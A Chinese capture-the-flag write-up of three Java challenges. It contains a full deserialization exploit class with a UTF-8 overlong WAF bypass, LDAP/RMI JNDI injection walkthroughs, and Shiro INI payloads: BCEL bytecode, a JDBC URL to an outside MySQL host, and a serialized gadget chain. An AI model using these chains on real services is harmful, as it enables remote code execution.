感觉很久没看java题了,都已经发展到jdk17的各种题目了,菜狗赶紧偷学。

ezjav

这题两处waf,一处是流量waf直接用UTF-8 Overlong Encoding导致的安全问题绕过即可,还有一处就是反序列化的黑名单,因为有rome依赖,所以把常用的rome反序列化链都ban了,rome反序列化参考

image.png

还存在jackson,fastjson依赖,所以当然还有很多能用的类,比如

### EventListenerList#readObject -> toString -> ### POJONode#toString -> getter
### EventListenerList#readObject -> toString -> ### JSONArray#toString -> getter
### HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> ### JSONArray#toString -> getter

贴一下第一种利用方式,

package com.xiinnn.exp;
 
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.xiinnn.template.ToStringClass;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
 
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Vector;
import java.util.HashMap;
 
public class exp1 {
    public static void main(String[] args) throws Exception{
        byte[] code = getTemplates();
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);
        // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();
 
        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
//        node.toString();
 
//        ToStringClass toStringClass = new ToStringClass();
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(node);
        setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
        byte[] code2 = serialize(list);
        System.out.println(new String(Base64.getEncoder().encode(code2)));
        unserialize(code2);
    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception{
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e){
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
    public static void unserialize(byte[] code) throws Exception{
        ByteArrayInputStream bais = new ByteArrayInputStream(code);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    static class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
        public HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
            put('.', new int[]{0xc0, 0xae});
            put(';', new int[]{0xc0, 0xbb});
            put('$', new int[]{0xc0, 0xa4});
            put('[', new int[]{0xc1, 0x9b});
            put(']', new int[]{0xc1, 0x9d});
            put('a', new int[]{0xc1, 0xa1});
            put('b', new int[]{0xc1, 0xa2});
            put('c', new int[]{0xc1, 0xa3});
            put('d', new int[]{0xc1, 0xa4});
            put('e', new int[]{0xc1, 0xa5});
            put('f', new int[]{0xc1, 0xa6});
            put('g', new int[]{0xc1, 0xa7});
            put('h', new int[]{0xc1, 0xa8});
            put('i', new int[]{0xc1, 0xa9});
            put('j', new int[]{0xc1, 0xaa});
            put('k', new int[]{0xc1, 0xab});
            put('l', new int[]{0xc1, 0xac});
            put('m', new int[]{0xc1, 0xad});
            put('n', new int[]{0xc1, 0xae});
            put('o', new int[]{0xc1, 0xaf}); // 0x6f
            put('p', new int[]{0xc1, 0xb0});
            put('q', new int[]{0xc1, 0xb1});
            put('r', new int[]{0xc1, 0xb2});
            put('s', new int[]{0xc1, 0xb3});
            put('t', new int[]{0xc1, 0xb4});
            put('u', new int[]{0xc1, 0xb5});
            put('v', new int[]{0xc1, 0xb6});
            put('w', new int[]{0xc1, 0xb7});
            put('x', new int[]{0xc1, 0xb8});
            put('y', new int[]{0xc1, 0xb9});
            put('z', new int[]{0xc1, 0xba});
            put('A', new int[]{0xc1, 0x81});
            put('B', new int[]{0xc1, 0x82});
            put('C', new int[]{0xc1, 0x83});
            put('D', new int[]{0xc1, 0x84});
            put('E', new int[]{0xc1, 0x85});
            put('F', new int[]{0xc1, 0x86});
            put('G', new int[]{0xc1, 0x87});
            put('H', new int[]{0xc1, 0x88});
            put('I', new int[]{0xc1, 0x89});
            put('J', new int[]{0xc1, 0x8a});
            put('K', new int[]{0xc1, 0x8b});
            put('L', new int[]{0xc1, 0x8c});
            put('M', new int[]{0xc1, 0x8d});
            put('N', new int[]{0xc1, 0x8e});
            put('O', new int[]{0xc1, 0x8f});
            put('P', new int[]{0xc1, 0x90});
            put('Q', new int[]{0xc1, 0x91});
            put('R', new int[]{0xc1, 0x92});
            put('S', new int[]{0xc1, 0x93});
            put('T', new int[]{0xc1, 0x94});
            put('U', new int[]{0xc1, 0x95});
            put('V', new int[]{0xc1, 0x96});
            put('W', new int[]{0xc1, 0x97});
            put('X', new int[]{0xc1, 0x98});
            put('Y', new int[]{0xc1, 0x99});
            put('Z', new int[]{0xc1, 0x9a});
        }};
 
        public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
            super(out);
        }
 
        @Override
        protected void writeClassDescriptor(ObjectStreamClass desc) {
            try {
                String name = desc.getName();
//        writeUTF(desc.getName());
                writeShort(name.length() * 2);
                for (int i = 0; i < name.length(); i++) {
                    char s = name.charAt(i);
//            System.out.println(s);
                    write(map.get(s)[0]);
                    write(map.get(s)[1]);
                }
                writeLong(desc.getSerialVersionUID());
                byte flags = 0;
                if ((Boolean) getFieldValue(desc, "externalizable")) {
                    flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
                    Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
                    protocolField.setAccessible(true);
                    int protocol = (Integer) protocolField.get(this);
                    if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
                        flags |= ObjectStreamConstants.SC_BLOCK_DATA;
                    }
                } else if ((Boolean) getFieldValue(desc, "serializable")) {
                    flags |= ObjectStreamConstants.SC_SERIALIZABLE;
                }
                if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
                    flags |= ObjectStreamConstants.SC_WRITE_METHOD;
                }
                if ((Boolean) getFieldValue(desc, "isEnum")) {
                    flags |= ObjectStreamConstants.SC_ENUM;
                }
                writeByte(flags);
                ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
                writeShort(fields.length);
                for (int i = 0; i < fields.length; i++) {
                    ObjectStreamField f = fields[i];
                    writeByte(f.getTypeCode());
                    writeUTF(f.getName());
                    if (!f.isPrimitive()) {
                        Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
                        writeTypeString.setAccessible(true);
                        writeTypeString.invoke(this, f.getTypeString());
//                    writeTypeString(f.getTypeString());
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

ezldap

两种解法,一种从利用javaRemoteLocation从ldap转向rmi,一种通过 LDAP 相关参数直接返回 Reference 对象。

解法1

先了解一下ldap的过程吧,从com.sun.jndi.ldap.LdapCtx#c_lookup开始调试,在doSearchOnce获取到ldapserver的信息。 image.png

然后的操作就是把这个attrs拿出来,进行第一个判断,这里必须attrs有javaClassName的键值才能进行decodeObject,由于这里端回传的反序列化链子所有事塞进了javaClassName的。 image.png

然后会获取JAVA_ATTRIBUTES[SERIALIZED_DATA],也就是javaSerializedData,但由于这里不允许反序列化数据即trustSerialData是false,所以会报错,但是jdk17 默认 com.sun.jndi.ldap.object.trustSerialData 为 true ,只是这道题将它设置成了false。在 jdk20+ 版本中 com.sun.jndi.ldap.object.trustSerialData 默认为 false 。

image.png

所以decodeObject这条路是走不通了,但在decodeObject中还有一些别的处理方式。如果attrs 有 javaRemoteLocation 会调用 decodeRmiObject,除此之外, 下面也还有一条路会调用到 decodeReference 方法。 image.png

通过REMOTE_LOC这条路即是第一种解法,将ldap转为rmi,这里改一下ldapserver,塞进一个javaRemoteLocation e.addAttribute("javaRemoteLocation", "rmi://"+Config.ip+":"+Config.rmiPort+Config.url); image.png

在decodeRmiObject中直接创建了Reference,

image.png

那么直接定位到getObjectInstance函数看后续过程。 image.png

在getObjectInstance中,前面会尝试获取ObjectFactory对象,但这里显然找不到,我们只传了一个rmi url,所以如果 Reference 对象中没有工厂类名,这里则尝试从 URL 地址中获取对象实例。 image.png

继续跟进processUrl函数 image.png

这里获取到了scheme即rmi协议,url的值 image.png

在getURLObject中获取URL 对象工厂的工厂类rmiURLContextFactory,然后调用factory.getObjectInstance尝试实例化对象 image.png

最终在getUsingURL中通过lookup进行rmi请求,到此我们把ldap注入转换到了rmi注入,后续只需要在rmi server上利用tomcatJdbc即可打高版本jdk jndi,可参考浅蓝师傅文章https://tttang.com/archive/1405/#toc_tomcat-jdbc image.png

这里改动一下JNDIMap即可, image.png image.png

解法2

第二种解法当然就是最后一条路了,在decodeReference函数处理中, 先在ldapserver 中塞进e.addAttribute("objectClass","javaNamingReference");,开始调试。在decodeReference中先是获取到了attr的类名和工厂类名,然后实例化一个Reference对象。

image.png

因为远程有 tomcat-jdbc直接org.apache.tomcat.jdbc.pool.DataSourceFactory ,服务端长这样。 image.png

实例化Reference对象后,会继续处理javaReferenceAddress数据,这是最后调用h2 connect 时获取参数的地方。

首先会将一个字符作为分割符,例如这里就是/,然后sep是第二个字符的位置,所以posnStr = val.substring(start, sep)获取到的是0,其实可以把posnStr看作是一个索引,这里第一个要处理的值为/0/url/jdbc:h2:mem:testdb,posnStr就是0。 image.png

然后继续提取type,跟上面一样按照/作为分割符,这里的type就是url image.png

最后就是content,获取方法同理,最终在这里将处理完的type,content,posn索引放到refAddrList image.png image.png

最后把 refAddrList 复制到 ref 中 image.png

最终定位到 c_lookup 最后的 DirectoryManager.getObjectInstance 方法。 obj 就是刚刚实例化的Reference对象 image.png

可以看到,最终在DataSourceFactory#getObjectInstance()函数中,就是从ref中获取参数的,到这就能打h2 rce了。 image.png

当然这种方法在JNDImap中已经集成了, image.png

ActiveRevenge

漏洞原理

搁了一段时间,需要用codeql或者tabby寻找链子。

git clone https://github.com/apache/activemq
git checkout 9cbf58d7bd420424004ae73659527747f9135676
codeql database create activemq-5.18.2-db --language="java" --command="mvn clean install -Dmaven.test.skip=true --file pom.xml" --source-root=activemq

最终用的是org.apache.activemq.shiro.env.IniEnvironment

public IniEnvironment(String iniConfig) {  
    Ini ini = new Ini();  
    ini.load(iniConfig);  
    this.ini = ini;  
    init();  
}

通过org.apache.shiro.config.Ini来实例化一个ini配置并进行初始化

@Override  
public void init() throws ShiroException {  
    //this.environment and this.securityManager are null.  Try Ini config:  
    Ini ini = this.ini;  
    if (ini != null) {  
        apply(ini);  
    }  
  
    if (this.objects.isEmpty() && this.iniConfig != null) {  
        ini = new Ini();  
        ini.load(this.iniConfig);  
        apply(ini);  
    }  
    ...  
}  
  
protected void apply(Ini ini) {  
    if (ini != null && !ini.isEmpty()) {  
        Map<String, ?> objects = createObjects(ini);  
        this.ini = ini;  
        this.objects.clear();  
        this.objects.putAll(objects);  
    }  
}  
  
private Map<String, ?> createObjects(Ini ini) {  
    IniSecurityManagerFactory factory = new IniSecurityManagerFactory(ini) {  
  
        @Override  
        protected SecurityManager createDefaultInstance() {  
            return new DefaultActiveMqSecurityManager();  
        }  
  
        @Override  
        protected Realm createRealm(Ini ini) {  
            IniRealm realm = (IniRealm)super.createRealm(ini);  
            realm.setPermissionResolver(new ActiveMQPermissionResolver());  
            return realm;  
        }  
    };  
    factory.getInstance(); //trigger beans creation  
    return factory.getBeans();  
}

参考CTFCON中分享的几个思路。

[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$9b$a4q$ec$3a$e4$a3$cd$H$e5$a3$a4$z$8d$d3$D$bepK$c4$F$b5R$85$a1$88T$a9zt$96m$b2$c1$b1$pg$d3$e6$lq$ce$F$QH$ed$9d$l$85$985Q$I$w$96$3c$b3$f3$e6$cd$9b$e7$f5$cf_$dfo$B$bc$84c$c1D$dd$c2C$ec$e4$f0H$e7$c7$G$9e$Yxj$n$8b$5d$D$cf$M4$Y$b2$j$ZJ$f5$8a$n$ed$b4z$M$99$d7$d1G$c1P$f0d$u$de$cd$c6$7d$R$9f$fb$fd$80$90$b2$Xq$3f$e8$f9$b1$d4$f5$S$cc$a8$a1$9cj6$8f$c6$eeh6U$ee$f1$b5$M$da$M$b9$O$P$96$ba$8cx$Vo$e4_$fb$ae$8c$dc$d3$b3$e39$X$T$r$a3$90h$f9$ae$f2$f9$a7$b7$fe$q$d1$pw$MV7$9a$c5$5c$9cH$adoj$b9$Xz$d6$86$85M$D$7b6$f6q$40$8b$c9$L$b7$f1$i$87$M$5b$ff$d1f$d8I$d0$c0$P$H$ee$87Y$a8$e4X$ac$9aZ$abI$cb$ff1$cdP$fc$3bq$d6$l$J$ae$YJ$f7D$c8$e0$40$a8UQqZ$de$3d$O$7dXF$cc$Fgh$3ak$dd$ae$8ae8h$af$P$bc$8f$p$$$a6S$g$a8$af3$cf$87qt$a3o$a4$dd$ea$a1$81$i$fdG$fd$a4$c0$f4$zP$b4$a9r$v3$ca$hG_$c1$WI$3bO1$fb$H$c4$D$8a$f6$f2$5c$40$91r$O$a5$d5$f0$V$d2I$af$f6$N$a9r$fa$L2$X$9f$91$7f$f3$D$d9KR3$ee$WI$d3$q$ea$G$R$b5l$95NH$9cl$Sj$Sf$Rf$af$d6$e4$J$xc$8b$aamz$N$a4$3c$D$V$93$g$d5$c4Y$ed7f9$e8t$96$C$A$A"
bds.connection.a = a
[main]
datasource=org.apache.commons.dbcp2.BasicDataSource
datasource.url=jdbc:mysql://47.113.104.49:3306/db1
datasource.password=x
datasource.username=x
datasource.driverClassName=com.mysql.cj.jdbc.Driver
datasource.connection.x=x
[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==
bs.length = 1376
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x